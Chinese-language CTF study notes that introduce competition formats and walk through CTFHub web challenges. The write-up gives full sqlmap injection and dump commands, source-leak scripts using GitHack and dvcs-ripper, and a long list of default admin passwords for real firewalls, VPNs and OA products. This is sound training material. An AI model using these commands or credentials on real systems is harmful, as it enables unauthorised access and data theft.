基础知识 CTF简介 CTF（C apture T he F lag，夺旗赛）CTF 的前身是传统黑客之间的网络技术比拼游戏，起源于 1996 年第四届 DEFCON，以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。 CTF是一种流行的信息安全竞赛形式，其英文名可直译为“夺得Flag”，也可意译为“夺旗赛”。其大致流程是，参赛团队之间通过进行攻防对抗、程序分析等形式，率先从主办方给出的比赛环境中得到一串具有一定格式的字符串或其他内容，并将其提交给主办方，从而夺得分数。为了方便称呼，我们把这样的内容称之为“Flag”。 flag所表示的为目标服务器上存储的一些敏感机密的信息, 这些信息正常情况下是不能对外暴露的。选手利用目标的一些漏洞，获取到flag，其表示的即为在真实的黑客攻击中窃取到的机密信息。 一般情况下flag拥有固定格式为flag{xxxxx}，有些比赛会把flag关键词替换，例如CTFHub平台的flag为ctfhub{xxxxx}，利用固定格式来反推flag也是一种常见的解题思路 通常来说CTF是以团队为单位进行参赛。每个团队3-5人(具体根据主办方要求决定)，在整个比赛过程中既要每个选手拥有某个方向的漏洞挖掘能力，也要同队选手之间的相互配合。 竞赛模式 理论知识 理论题多见于国内比赛，通常为选择题。包含单选及多选，选手需要根据自己所学的相关理论知识进行作答。最终得出分数。理论部分通常多见于初赛或是初赛之前的海选 Jeopardy-解题 参赛队伍可以通过互联网或者现场网络参与，参数队伍通过与在线环境交互或文件离线分析，解决网络安全技术挑战获取相应分值，类似于 ACM 编程竞赛、信息学奥林匹克赛，根据总分和时间来进行排名。 不同的是这个解题模式一般会设置 一血(First Blood) 、 二血(Second Blood) 、 三血(Third Blood) ，也即最先完成的前三支队伍会获得额外分值，所以这不仅是对首先解出题目的队伍的分值鼓励，也是一种团队能力的间接体现。 当然还有一种流行的计分规则是设置每道题目的初始分数后，根据该题的成功解答队伍数，来逐渐降低该题的分值，也就是说如果解答这道题的人数越多，那么这道题的分值就越低。最后会下降到一个保底分值后便不再下降。一般称之为动态积分 题目类型主要包含 Web 网络攻防 、 RE 逆向工程 、 Pwn 二进制漏洞利用 、 Crypto 密码攻击以及 Misc 安全杂项 这五个类别，个别比赛会根据题目类型进行扩展。 AwD-攻防模式 A ttack w ith D efense(AwD)全称攻防模式，在攻防模式CTF赛制中，参赛队伍连接到同一个网络空间。主办方会预先为每个参赛队分配要防守的主机，该主机称之为GameBox，每个队伍之间的GameBox配置及漏洞是完全一致的，选手需要防护自己的GameBox不被攻击的同时挖掘漏洞并攻击对手服务来得分。在AwD中主办方会运行一个名为Checker的程序定时检测选手的GameBox的运行状态。若检测到状态不对则判定该GameBox宕机，按照规则扣除一定分数。攻防模式CTF赛制可以实时通过得分反映出比赛情况，最终也以得分直接分出胜负，是一种竞争激烈，具有很强观赏性和高度透明性的网络安全赛制。在这种赛制中，不仅仅是比参赛队员的智力和技术，也比体力（因为比赛一般都会持续24至48小时左右），同时也比团队之间的分工配合与合作。 AwD通常仅包含Web及Pwn两种类型的题目。每个队伍可能会分到多个GameBox，随着比赛的进行，最早的GameBox可能会下线，同时会上线新的GameBox。 AWP-攻防增强 A ttack D efense P lus(ADP)全称攻防增强模式，在该模式下中，参赛队伍连接到同一个网络空间。主办方会在平台上放置题目，选手需要登录到平台获得题目信息 攻击模式下，平台会给出题目的访问链接，选手按照解题模式做题提交flag即可完成攻击，当完成攻击后， 每轮计算分数时均会计算该题目的攻击得分。 防御模式下，选手需要自行挖掘题目的漏洞，并制作漏洞补丁包上传至平台，之后点击验证。验证时平台会新建一个完全干净的题目环境，使用预置的Exploit进行攻击，若攻击成功当验证通过之后（即已经完成修补），每轮计算分数均会认为该题目已防御。 也就是说，对于每个题目，仅需要攻击成功一次，防御成功一次，该题就可以认为已完成，后续无需进行关注。 ADP通常仅包含Web及Pwn两种类型的题目。随着比赛的进行，最早的题目可能会下线，后续也有可能会上线新的题目。 ADP相较于AwD来说，选手无须编写批量攻击脚本，也无需关注题目的环境是否被攻击，是否服务异常等等，要做的只是攻击一次，防御一次，选手可以有更多的时间聚焦于还未完成的题目。从主办方的角度来说，大大减轻了比赛的硬件成本和运维成本。 RHG-自动化[ AI自动化] R obo H acking G ame(RHG)该利用人工智能或是AI或是自动化攻击程序来全自动的挖掘并利用漏洞，考验选手对于漏洞理解以及工程化能力。比赛开始前(一般为1-4周左右)主办方会给出测试环境以及相关接口文档。选手需要编写自动化程序来请求接口获取题目相关信息，该类程序通常称之为bot，在程序中全自动访问并挖掘目标漏洞，完成利用漏洞攻击并获取flag的过程。获取到的flag也由程序自动化提交。RHG因为是由bot全自动进行工作，所以比赛开始即可视为结束。剩下的一切全看参赛选手编写的自动化bot的工作情况。 比赛过程中不允许选手对bot进行任何的操作(包括debug/patch等等)。选手仅能看到自己的bot完成了哪些题。目前的得分情况等等。 RW-真实世界 R eal W orld(RW) 首次于2018年长亭科技主办的RealWorldCTF中出现，该赛制着重考察选手在面对真实的环境下的漏洞挖掘与利用能力。通常RW模式出题也会围绕着能够应用于真实渗透攻击当中的漏洞，一般来说RW常见题型为VM/Docker逃逸、针对浏览器的攻击、针对IoT/Car等设备的攻击，Web类攻击等等 在RW赛制中会有一个Show Time，当选手认为自己已经可以完成题目时，选手可以在比赛平台上提交展示申请，由工作人员根据申请先后顺序进行展示排期。选手展示之前需要上台并连接相关网络，同时现场大屏会切换至目标的正常页面。选手确认连接并测试OK之后开始计时。一般情况下上台攻击的时间为5分钟，选手一旦完成攻击现场大屏幕会实时看到攻击的效果，此时裁判会根据效果是否符合题目要求来判定该题是否完成。如5在攻击时间内依然未能看到展示效果则认为本次攻击失败。现如今为了防止选手恶意排期。通常会有一个队伍总展示次数(例如在2019年数字经济云安全公测大赛中每个队伍只允许上台展示30次)，选手也需要尽可能保证上台之后攻击的成功率 举个例子。题目要求需要攻击位于比赛网络中的某个网站并将首页替换为包含队伍名称的页面。题目给出该网站的一些信息(源代码/数据库等等)，选手经过本地挖掘漏洞之后，提交展示申请，排期到了之后进行上台展示。注意，因为RW模式是以展示效果来作为题目是否完成的准则，所以在RW模式中并不存在Flag。 KoH-抢占山头 K ing o f H ill(KoH)是近些年新衍生的一种赛制。该赛制有点类似于AwD，但是又和AwD有些不一样。选手面对的是一个黑盒的目标，需要先挖掘漏洞并利用漏洞控制目标。将自己的队伍标识(队伍名称或是Token之类)写入到指定文件。随后在该主机上进行加固等操作防止其他队伍攻击，主办方会定期去检查标识文件，根据文件中的队伍标识来判定本回合分数给予哪个队伍。可以看出KoH也是一种对抗极为激烈的赛制，同时考察选手的渗透能力及防御加固能力。 Mix[混合] 混合模式结合了以上多种模式，现如今单一的赛制已经无法满足比赛及选手的参赛需求，所以大部分比赛会同时以多个模式进行比赛。例如参赛队伍通过解题(Jeopardy)可以获取一些初始分数，然后通过攻防对抗(AwD)进行得分增减的零和游戏，最终以得分高低分出胜负。 比赛形式 CTF比赛一般分为线上赛和线下赛。通常来说，线上赛多为初赛, 线下赛多为决赛, 但是也不排除直接进行 线上 选手通过主办方搭建的比赛平台在线注册，在线做题并提交flag，线上比赛多为解题模式，攻防模式较为少见。通常来说对于长时间未解出的题目，主办方会酌情给出提示(Hint)来帮助选手做题。 线下 选手前往比赛所在地，现场接入比赛网络进行比赛，线下多为AWD模式，近年来随着比赛赛制的不断革新，线下赛也会出现多种模式混合进行，例如结合解题+AWD ，解题+RW 等等 题目类型 在CTF中主要包含以下5个大类的题目，有些比赛会根据自己的侧重点单独添加某个分类，例如移动设备(Mobile), 电子取证(Forensics)等，近年来也会出来混合类型的题目，例如在Web中存在一个二进制程序，需要选手先利用Web的漏洞获取到二进制程序，之后通过逆向或是Pwn等方式获得最终flag Web Web类题目大部分情况下和网、Web、HTTP等相关技能有关。主要考察选手对于Web攻防的一些知识技巧。诸如SQL注入、XSS、代码执行、代码审计等等都是很常见的考点。一般情况下Web题目只会给出一个能够访问的URL。部分题目会给出附件 Pwn Pwn类题目重点考察选手对于二进制漏洞的挖掘和利用能力，其考点也通常在堆栈溢出、格式化漏洞、UAF、Double Free等常见二进制漏洞上。选手需要根据题目中给出的二进制可执行文件进行逆向分析，找出其中的漏洞并进行利用，编写对应的漏洞攻击脚本(Exploit)，进而对主办方给出的远程服务器进行攻击并获取flag通常来说Pwn类题目给出的远程服务器信息为nc IP_ADDRESS PORT，例如nc 1.2.3.4 4567这种形式，表示在1.2.3.4这个IP的4567端口上运行了该题目 Reverse Re类题目考察选手逆向工程能力。题目会给出一个可执行二进制文件，有些时候也可能是Android的APK安装包。选手需要逆向给出的程序，分析其程序工作原理。最终根据程序行为等获得flag Crypto Crypto类题目考察选手对密码学相关知识的了解程度，诸如RSA、AES、DES等都是密码学题目的常客。有些时候也会给出一个加密脚本和密文，根据加密流程逆推出明文。 Misc Misc意为杂项，即不包含在以上分类的题目都会放到这个分类。题目会给出一个附件。选手下载该附件进行分析，最终得出flag 常见的题型有图片隐写、视频隐写、文档隐写、流量分析、协议分析、游戏、IoT相关等等。五花八门，种类繁多。 WEB WEB前置技能 HTTP协议 curl命令行选项： -a, --append 追加到已经存在的文件 (仅支持 FTP) -A, --user-agent 设置用户代理字符串 --anyauth 选择任何支持的身份验证方法 (H) -b, --cookie 向服务器发送Cookie数据 -B, --use-ascii 使用ASCII模式传输文件 (FTP) -c, --cookie-jar 操作Cookie的文件 -C, --continue-at 断点续传 -d, --data 发送POST请求数据 -D, --dump-header 将响应头保存到文件 --data-ascii 使用ASCII编码的POST请求数据 --data-binary 使用二进制编码的POST请求数据 --data-raw 使用原始数据发送POST请求 --data-urlencode 使用URL编码的POST请求数据 --delegation 转发身份验证到代理 (H) --digest 使用摘要身份验证 (H) --disable-eprt 禁用 EPRT 和 LPRT (F) --disable-epsv 禁用 EPSV命令 (FTP) --disallow-username 防止用户名和密码被发送给其他站点 (H) -e, --referer 设置引用页URL --egd-file 设置EGD socket路径 (SSL) --engine 设置加密引擎 (SSL / crypto) --expect100-timeout 设置等待 100-continue响应超时时间 (H) -E, --cert 设置客户端证书文件路径 (SSL) --cert-type 设置客户端证书文件类型 (SSL) --cacert 设置CA证书路径 (SSL) --capath 设置CA证书目录 (SSL) --ciphers 设置SSL密码套件字符串 (SSL) --compressed 请求压缩内容 (using deflate or gzip) --connect-timeout 设置连接超时时间 --connect-to 建立本地和远程连接的主机映射 (H) --create-dirs 自动创建远程文件路径 --crlf 将UNIX新行转换为CR+LF (FTP) -f, --fail 发生错误时不显示HTML错误页面 --fail-early 在连接阶段发生错误时立即失败 (H) --false-start 启用TLS false start (SSL) --ftp-create-dirs 自动创建远程目录 (FTP) --ftp-method 设置FTP传输方法 (FTP) --ftp-pasv 使用被动模式 (FTP) --ftp-skip-pasv-ip 如果服务器请求，则禁用PASV IP地址 (FTP) --ftp-ssl-ccc 发送CCC (Clear Command Channel)命令至连接断开 (FTP) --ftp-ssl-ccc-mode 设置CCC传输模式 (FTP) --ftp-ssl-control 用于控制连接的SSL选项 (FTP) --ftp-ssl 尝试使用SSL/TLS加密 (FTP) -g, --globoff 禁用 URL 中的全局字符转换 -G, --get 以GET方式发送数据 -h, --help 显示帮助信息 --hostpubmd5 使用MD5摘要值而不是公钥 (SSH) --http1.0 强制使用HTTP/1.0 (HTTP) --http1.1 强制使用HTTP/1.1 (HTTP) --http2-prior-knowledge 使用HTTP/2协议，但不要发送HTTP/1.x 请求 (HTTP) --http2 使用HTTP/2协议 (HTTP) -H, --header 自定义请求头 --ignore-content-length 忽略 'Content-Length' 头 -i, --include 显示响应头 --interface 设置网络接口 --ipv4 强制使用IPv4地址 --ipv6 强制使用IPv6地址 -j, --junk-session-cookies 丢弃会话Cookie (H) -J, --remote-header-name 使用远程文件的文件名 -k, --insecure 允许不安全的SSL连接 --keepalive-time 设置Keep-Alive超时时间 (TCP) --key-type 设置私钥文件类型 (SSL) --key 设置私钥文件路径 (SSL) --krb 使用Kerberos身份验证 (H) --libcurl 内部使用选项，用于测试和调试 libcurl --limit-rate 设置传输速率限制 --local-port 设置本地端口号 (H) -l, --list-only 显示目录列表 (FTP) --location-trusted 当从服务器接收到HTTP重定向时，向新URL发送所有验证信息 (H) -L, --location 跟踪重定向 --login-options 设置登录选项 (IMAP, POP3, SMTP) --mail-auth 使用邮件身份验证 (SMTP) --mail-from 设置发件人地址 (SMTP) --mail-rcpt 设置收件人地址 (SMTP) --mail-auth-method 设置邮件身份验证方法 (SMTP) --mail-rcpt-allowfails 允许发送给不可达的收件人 (SMTP) --max-filesize 设置最大文件大小限制 --max-redirs 设置最大重定向次数 --max-time 设置最大请求时间 --metalink 使用 Metalink 下载 (H) --negotiate 使用 Negotiate / SPNEGO 身份验证 (H) --netrc-optional 使用 .netrc 或 URL 来进行用户认证 (H) --netrc-file 设置 .netrc 文件路径 (H) --netrc 忽略 .netrc 文件中的登录信息 (H) --noproxy 不使用代理服务器代理特定远程主机 --ntlm-wb 使用NTLM的HTTP验证 (LDAP) --ntlm 使用NTLM的HTTP验证 (HTTP) --oauth2-bearer 使用 OAuth 请求方式 HTTP 请求方法, HTTP/1.1协议中共定义了八种方法（也叫动作）来以不同方式操作指定的资源。 可以看到是需要我们使用CTFHUB方法访问该网址，其他工具修改请求方法好像只能修改成POST和GET，没有自定义修改的，所以我们使用Linux下面的curl命令命令行访问该网址，并自定义请求方法为CTFHUB 也可以在windows上下载curl命令，-v是详细信息 -X是指定请求方法 代码如下： curl -v -X CTFHUB http://challenge-42bcaecdfb564a7d.sandbox.ctfhub.com:10800/index.php 得到Flag: 302跳转 环境如下： HTTP重定向：服务器无法处理浏览器发送过来的请求（request），服务器告诉浏览器跳转到可以处理请求的url上。（浏览器会自动访问该URL地址，以至于用户无法分辨是否重定向了。） 重定向的返回码3XX说明。Location响应首部包含了内容的新地址或是优选地址的URL。 状态码 301：在请求的URL已被移除时使用。响应的Location首部中应该包含资源现在所处的URL。 302：与301状态码类似，但是，客户端应该使用Location首部给出的URL来零食定位资源，将来的请求仍然使用老的URL。 官方的比较简洁的说明： 301 redirect: 301 代表永久性转移(Permanently Moved) 302 redirect: 302 代表暂时性转移(Temporarily Moved ) ​尽量使用301跳转！​301和302状态码都表示重定向，就是说浏览器在拿到服务器返回的这个状态码后会自动跳转到一个新的URL地址，这个地址可以从响应的Location首部中获取（用户看到的效果就是他输入的地址A瞬间变成了另一个地址B）——这是它们的共同点。他们的不同在于。301表示旧地址A的资源已经被永久地移除了（这个资源不可访问了），搜索引擎在抓取新内容的同时也将旧的网址交换为重定向之后的网址；302表示旧地址A的资源还在（仍然可以访问），这个重定向只是临时地从旧地址A跳转到地址B，搜索引擎会抓取新的内容而保存旧的网址。 HTTP中的重定向和请求转发的区别 转发是服务器行为，重定向是客户端行为。为什么这样说呢，这就要看两个动作的工作流程： 转发过程：客户浏览器发送http请求——》web服务器接受此请求——》调用内部的一个方法在容器内部完成请求处理和转发动作——》将目标资源发送给客户； 在这里，转发的路径必须是同一个web容器下的url，其不能转向到其他的web路径上去，中间传递的是自己的容器内的request。在客户浏览器路径栏显示的仍然是其第一次访问的路径，也就是说客户是感觉不到服务器做了转发的。转发行为是浏览器只做了一次访问请求。 重定向过程：客户浏览器发送http请求——》web服务器接受后发送302状态码响应及对应新的location给客户浏览器——》客户浏览器发现是302响应，则自动再发送一个新的http请求，请求url是新的location地址——》服务器根据此请求寻找资源并发送给客户。 在这里location可以重定向到任意URL，既然是浏览器重新发出了请求，则就没有什么request传递的概念了。在客户浏览器路径栏显示的是其重定向的路径，客户可以观察到地址的变化的。重定向行为是浏览器做了至少两次的访问请求的。 重定向，其实是两次request 第一次，客户端request A,服务器响应，并response回来，告诉浏览器，你应该去B。这个时候IE可以看到地址变了，而且历史的回退按钮也亮了。重定向可以访问自己web应用以外的资源。在重定向的过程中，传输的信息会被丢失。 可以看到有一个状态为302的域名 使用Linux环境下的curl进行抓取 curl介绍：curl不会进行跳转，curl -L会跟随跳转 Cookie 环境如下： 抓包发现疑似管理员字段 使用bp进行重发 基础认证 click进入如下页面： 附件给到一个txt文件，应该是要进行爆破 接下来进行抓包处理： 猜测用户名应该是admin 随便输入一个密码后，发现一段base64加密后的字符 解密后如下： 编辑前缀配置 取消编码 响应包源代码 贪吃蛇界面直接把flag注释了 信息泄露 目录遍历 环境如下： 找到flag PHPINFO 环境如下： 点击查看后直接搜索flag 备份文件下载 网站源码 备份文件下载 - 网站源码 可能有点用的提示 常见的网站源码备份文件后缀 tar tar.gz zip rar 常见的网站源码备份文件名 web website backup back www wwwroot temp 可以进行目录遍历： 代码如下： import requests if __name__ == '__main__': url1 = 'http://challenge-28d0c032f35d766a.sandbox.ctfhub.com:10800/' list1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp'] list2 = ['tar', 'tar.gz', 'zip', 'rar'] for i in list1: for j in list2: back = str(i) + '.' + str(j) url = str(url1) + '/' + back print(url) print(requests.get(url)) 找到目录为www.zip,在后缀输入并下载 点开疑似flag的文件，发现没有flag 直接通过网页后缀访问发现flag bak文件 环境如下： 输入： 用记事本打开文件即可得到flag vim缓存 题目提示： 提示了flag在index.php页面的源码中，并提示了是vim缓存漏洞 访问/.index.php.swp，下载index.php的swp文件： 恢复文件：vim -r .index.php.swp或者vi -r .index.php.swp .DS_Store DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。 我们先使用dirsearch工具扫描出 .DS_Store 文件 我们放到linux系统下，使用dsstore查看 DS_Store 文件 Git泄露 Log 提示：当前大量开发人员使用git进行版本控制，对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。请尝试使用BugScanTeam的GitHack完成本题 先使用dirsearch扫描 python dirsearch.py -u challenge-e43a27aceadf552f.sandbox.ctfhub.com:10800 -e* 提示我们使用BugScanTeam的GitHack完成本题，这里我们使用GitHack克隆目录 python2 GitHack.py challenge-e43a27aceadf552f.sandbox.ctfhub.com:10800/.git 进入目录 使用 git log 查看 第一种执行 git show git show 第二种 执行回滚命令 假设有一个 Git 仓库，其中包含多个提交（commits）： commit1 16ccac1601de01fb6aab680eae54bc3705d87844 commit3 如果你想要将仓库回滚到 16ccac1601de01fb6aab680eae54bc3705d87844 的状态，可以使用以下命令： git reset --hard 16ccac1601de01fb6aab680eae54bc3705d87844 第三种 git diff fd54ecb02d8f00bda660f16a962d78c8bf9a4ede Stash git stash save 'hello world' 使用save可以添加一些注释 git stash list 显示保存进度的列表 git stash pop 恢复最新进度到工作区，默认将工作、暂存区的改动都恢复到工作区 git stash pop --index 恢复最新进度到工作区和暂存区，尝试将暂存区的改动恢复到暂存区 git stash pop stash@{1} 恢复指定的进度到工作区 git stash apply [–index] [stash_id] 将堆栈中的内容应用到当前目录，该命令不会将内容从堆栈中删除 git stash drop [stash_id] 删除一个存储的进度。如果不指定stash_id，则默认删除最新的存储进度 git stash clear 删除所有存储的进度 git stash show 查看堆栈中最新保存的stash和当前目录的差异 git stash branch 在最新的stash创建分支 当前大量开发人员使用git进行版本控制，对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。请尝试使用BugScanTeam的GitHack完成本题 扫描完成： 通过对git命令的学习和题目的提示，使用stash命令可以恢复文件 git stash pop #恢复代码 文件恢复，获取到flag Index 当前大量开发人员使用git进行版本控制，对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。请尝试使用BugScanTeam的GitHack完成本题 使用 GitHack.py扫描获取如下信息： SVN泄露 当开发人员使用 SVN 进行版本控制，对站点自动部署。如果配置不当,可能会将.svn文件夹直接部署到线上环境。这就引起了 SVN 泄露漏洞。 下载关于SVN泄露的漏洞利用工具 https://github.com/kost/dvcs-ripper 移动到kali后安装工具所需依赖库 sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl 使用dvcs-ripper工具将泄露的文件下载到本地目录中 ./rip-svn.pl -v -u http://challenge-abe859de6bd50922.sandbox.ctfhub.com:10800/.svn 发现问题，执行如下代码： sudo cpan DBD::SQLite 继续执行代码 用ls -al查看 cd .svn HG泄露 当开发人员使用 Mercurial 进行版本控制，对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。 这题与之前的题目比较类似，同样使用 dvcs-ripper 工具下载泄露的网站目录，但是使用工具过程中出现了一些错误，导致网站源代码没有完整下载。正如网页显示内容中的提示所说，不好使的情况下，试着手工解决。那么此题目是让我们不要过度依赖工具的使用。使用 tree 命令列出下载到本地目录的所有文件。发现一个可疑的文本文件，查看文本文件发现历史记录中一个新增的 flag 文件。正则搜索相关文件发现可疑文本，使用 curl 命令检查发现此题flag。 ./rip-hg.pl -v -u http://challenge-405b7be147e4c7ac.sandbox.ctfhub.com:10800/.hg 使用tree命令列出刚刚下载的.hg网站目录，发现可疑的文本文件 tree .hg 查看可疑的文本文件是否存在此题flag，发现历史版本add flag 发现历史版本可以使用正则表达式进行关键字查找 grep -a -r flag 逐步查看发现flag 密码口令 弱口令 通常认为容易被别人（他们有可能对你很了解）猜测到或被破解工具破解的口令均为弱口令。 环境如下： 准备bp 拿出祖传的密码本 我这里粘贴了一些密码进行尝试 把请求资源拉满 发现一个长度不一样的密码，找到flag 默认口令 OA 致远OA system用户（默认密码：system，对应A8的系统管理员、A6的单位管理员） group-admin（默认密码：123456，对应A8集团版的集团管理员） admin1（默认密码：123456，对应A8企业版的单位管理员） audit-admin（默认密码：123456，对应审计管理员） 泛微OA 用户名:sysadmin 密码:1 安全设备 常见安全设备 天融信防火墙 用户名:superman 密码:talent 天融信防火墙 用户名:superman 密码:talent!23 联想网御防火墙 用户名:admin 密码:leadsec@7766、administrator、bane@7766 深信服防火墙 用户名：admin 密码：admin 启明星辰 用户名：admin 密码：bane@7766 用户名：admin 密码：admin@123 juniper 用户名:netscreen 密码:netscreen Cisco 用户名:admin 密码:cisco Huawei 用户名:admin 密码:Admin@123 H3C 用户名:admin 密码:admin 绿XXXIPS 用户名: weboper 密码: weboper 网神防火墙GE1 用户名：admin 密码：firewall 深信服VPN：51111端口 密码:delanrecover 华为VPN：账号：root 密码：mduadmin 华为超融合：admin 密码：Huawei12#$ 华为防火墙：admin 密码:Admin@123 华为 EudemonJuniper防火墙：netscreen netscreen 迪普 192.168.0.1 默认的用户名和密码（admin/admin_default) 山石 192.168.1.1 默认的管理账号为hillstone，密码为hillstone 安恒的明御防火墙 admin/adminadmin 某堡垒机 shterm/shterm 天融信的vpn test/123456 阿姆瑞特防火墙admin/manager 明御WEB应用防火墙admin/admin 明御安全网关admin/adminadmin 天清汗马admin/veuns.fw audit/veuns.audit 网康日志中心ns25000/ns25000 网络安全审计系统（中科新业）admin/123456 LogBase日志管理综合审计系统admin/safetybase 中新金盾硬件防火墙admin/123 kill防火墙(冠群金辰)admin/sys123 黑盾防火墙admin/admin XXX蒙安全产品 IPS入侵防御系统、SAS­H运维安全管理系统、SAS安全审计系统、DAS数据库审计系统、RSAS远程安全评估系统、WAF WEB应用防护系统、UTS威胁检测系统 sysauditor/sysauditor sysmanager/sysmanager supervisor/supervisor maintainer/maintainer webpolicy/webpolicy sysadmin/sysadmin conadmin/conadmin supervis/supervis webaudit/webaudit sysadmin/sysadmin conadmin/nsfocus weboper/weboper auditor/auditor weboper/weboper nsadmin/nsadmin admin/nsfocus admin/admin shell/shell 默认密码在线查询网站 CIRT.net https://cirt.net/passwords 默认密码列表 https://datarecovery.com/rd/default-passwords/ 工具猫路由器默认密码查询 https://toolmao.com/baiduapp/routerpwd/ 路由器默认密码查询 https://www.cleancss.com/router-default/ Internet上最全面的默认路由器密码列表 https://portforward.com/router-password/ 环境如下： 根据提示，默认口令，我们可以在网上找到亿邮的管理使用手册 密码为：eyougw：admin@(eyou) SQL注入 sqlMap下载： wget https://github.com/sqlmapproject/sqlmap/tarball/master kali 自带sqlmap，使用更简单，避免每次用python运行 --technique= B 基于布尔的盲注 T 基于时间的盲注 E 基于报错的注入 U 基于UNION查询注入 S 基于多语句查询注入 -u 指定目标url -d 直接连接数据库 -l 从burp代理日志的解析目标 -r 从文件中加载http请求 -g 从google dork的结果作为目标url -c 从INI配置文件中加载选项 Request -A 指定user-agent头 -H 额外的header -method= 指定HTTP方法（GET/POST） --data= 通过POST提交数据 --param-del= 指定参数分隔符 --cookie= 指定cookie的值 --cookie-del= 指定cookie分隔符 --drop-set-cookie 扔掉response中的set-cookie头 --random-agent 使用随机的user-agent头 --host= 设置host头 --referer= 指定referer头 --headers= 额外的headers --auth-type= http认证类型（Basic，NTLM，Digest） --auith-cred= http认证凭证（账号：密码） --ignore-proxy 忽略系统代理（常用于扫描本地文件） --proxy= 使用代理 --proxy-cred= 代理认证证书（账号：密码） --delay= 设置延迟时间（两个请求之间） --timeout= 超时时来连接前等待（默认 30） --retries= 连接超时时重试次数（默认 3） --randomize= 随机更改指定的参数的值 --safe-url= 在测试期间经常访问的URL --safe-post= POST数据发送到安全的URL --safe-freq= 两次请求之间穿插一个安全的URL --skip-urlencode 跳过payload数据的URL编码 --chunked 使用HTTP分块传输加密POST请求 --hpp 使用HTTP参数pollution方法（常用于绕过IPS/IDS检测） --force-ssl 强制使用SSL/HTTPS --eval=value 请求之前提供Python代码（eg："import hashlib;id2=hashlib.md5(id).hexdigest()"） Optimization -o 打开所有优化开关 --predict-output 预测输出（与--threads不兼容） --keep-alive 建立长久的HTTP(S)连接 (与--proxy不兼容) --null-connection 空连接 --threads=value 设置线程(默认 1) Injection -p 指定测试参数 --skip= 跳过指定参数的测试 --skip-static 跳过测试静态的参数 --dbms= 指定具体DBMS --os= 指定DBMS操作系统 --invalid-bignum 使用大数字使值无效 --invalid-logical 使用逻辑符使值无效 --invalid-string 使用字符串使值无效 --no-cast 关闭payload铸造机制 --no-escape 关闭字符转义机制（默认自动开启） --prefix= 加入payload前缀 --suffix= 加入payload后缀 --tamper= 指定使用的脚本 Detectiong --level= 指定测试的等级（1-5 默认为1） --risk= 指定测试的风险（0-3 默认为1） --string= 登录成功时，页面所含有的“关键字” 用于证明已经登录成功 --not-string= 登录成功时，页面所含有的“关键字” 用于证明已经登录失败 --code= 查询为真时，匹配的HTTP代码 --smart 当有大量检测目标时，只选择基于错误的检测结果 --text-only 仅基于文本内容比较网页 --titles 仅基于标题比较网页 Techniques --technique= 指定sql注入技术（默认BEUSTQ） --time-sec= 基于时间注入检测相应的延迟时间（默认为5秒） --union-clos= 进行查询时，指定列的范围 --union-char= 指定暴力破解列数的字符 Fingerprint -f 查询目标DBMS版本指纹信息 Emuneration -a 查询所有 -b 查询目标DBMS banner信息 --current-user 查询目标DBMS当前用户 --current-db 查询目标DBMS当前数据库 --is-dba 查询目标DBMS当前用户是否为DBA --users 枚举目标DBMS所有的用户 --paswords 枚举目标DBMS用户密码哈希值 --privileges 枚举目标DBMS用户的权限 --roles 枚举DBMS用户的角色 --dbs 枚举DBMS所有的数据库 --tables 枚举DBMS数据库中所有的表 --columns 枚举DBMS数据库表中所有的列 --count 检索表的条目的数量 --dump 存储DBMS数据库的表中的条目 --dump-all 存储DBMS所有数据库表中的条目 --D db 指定进行枚举的数据库名称 --T table 指定进行枚举的数据库表名称 --C column 指定进行枚举的数据库列名称 --exclude-sysdbs 枚举表时排除系统数据库 --sql-query 指定查询的sql语句 --sql-shell 提示输入一个交互式sql shell Brute force --common-tables 暴力破解表 --common-colomns 暴力破解列 File system access --file-read 从目标数据库管理文件系统读取文件 --file-write 上传文件到目标数据库管理文件系统 --file-dest 指定写入文件的绝对路径 --os-cmd= 执行操作系统命令 --os-shell 交互式的系统shell --os-pwn 获取一个OOB shell，Meterpreter或者VNC --os-smbrelay 一键 获取一个OOB shell，Meterpreter或者VNC --os-bof 储存过程缓冲区溢出利用 --os-esc 数据库进程用户权限提升 --msf-path= Metasploit Framework本地安装路径 整数型注入 环境如下： 尝试使用order by 说明只有两列 接下来使用sqlmap sqlmap -u "http://challenge-f7ecf2823f13a382.sandbox.ctfhub.com:10800/?id=1" 基础： --dbs 列出全部数据库 --current-db 列出当前数据库 -D 数据库名 --tables 列出指定数据库的所有表 -D 数据库名 -T 表 --columns 列出指定数据库，指定表里面的所有字段 -D 数据库名 -T 表 -C "字段" --dump 列出指定字段的所有内容 查看当前数据库 sqlmap -u "http://challenge-f7ecf2823f13a382.sandbox.ctfhub.com:10800/?id=1" --current-db 查看数据表 sqlmap -u "http://challenge-f7ecf2823f13a382.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables 查看具体数据 sqlmap -u "http://challenge-f7ecf2823f13a382.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump 拿下 字符型注入 同上 报错注入 基本同上，多了报错信息 sqlmap -u "http://challenge-0e9aa324604c2707.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump 布尔盲注 同上 sqlmap -u "http://challenge-914e6be702e4bdc1.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump 搞定 时间盲注 同上 sqlmap -u "http://challenge-ce32f0eec9138e99.sandbox.ctfhub.com:10800/?id=22" -D sqli -T flag --dump MYSQL结构 基本同上，换了个表名 Cookie注入 使用bp抓包发现cookie 此次为cookie注入，cookie注入时需要设置level至少为2，不然无法成功注入 复制cookie使用sqlmap进行注入 sqlmap -u "http://challenge-165f447d957a796d.sandbox.ctfhub.com:10800/" --cookie "id=1;hint=id%E8%BE%93%E5%85%A51%E8%AF%95%E8%AF%95%EF%BC%9F" --level 2 --current-db 其他语句照常 UA注入 环境如下： 必须加 * 号否则没有注入点，调用 --level参数，将等级调至 3级，只有等级为 3级即以上时才能对 user-agent进行注入 sqlmap -r "a.txt" -p "User-Agent" –-level 3 --current-db 数据库依旧为sqli 获取到数据库后： sqlmap -r "a.txt" -level 3 -D sqli -T jrafyseyng --dump Refer注入 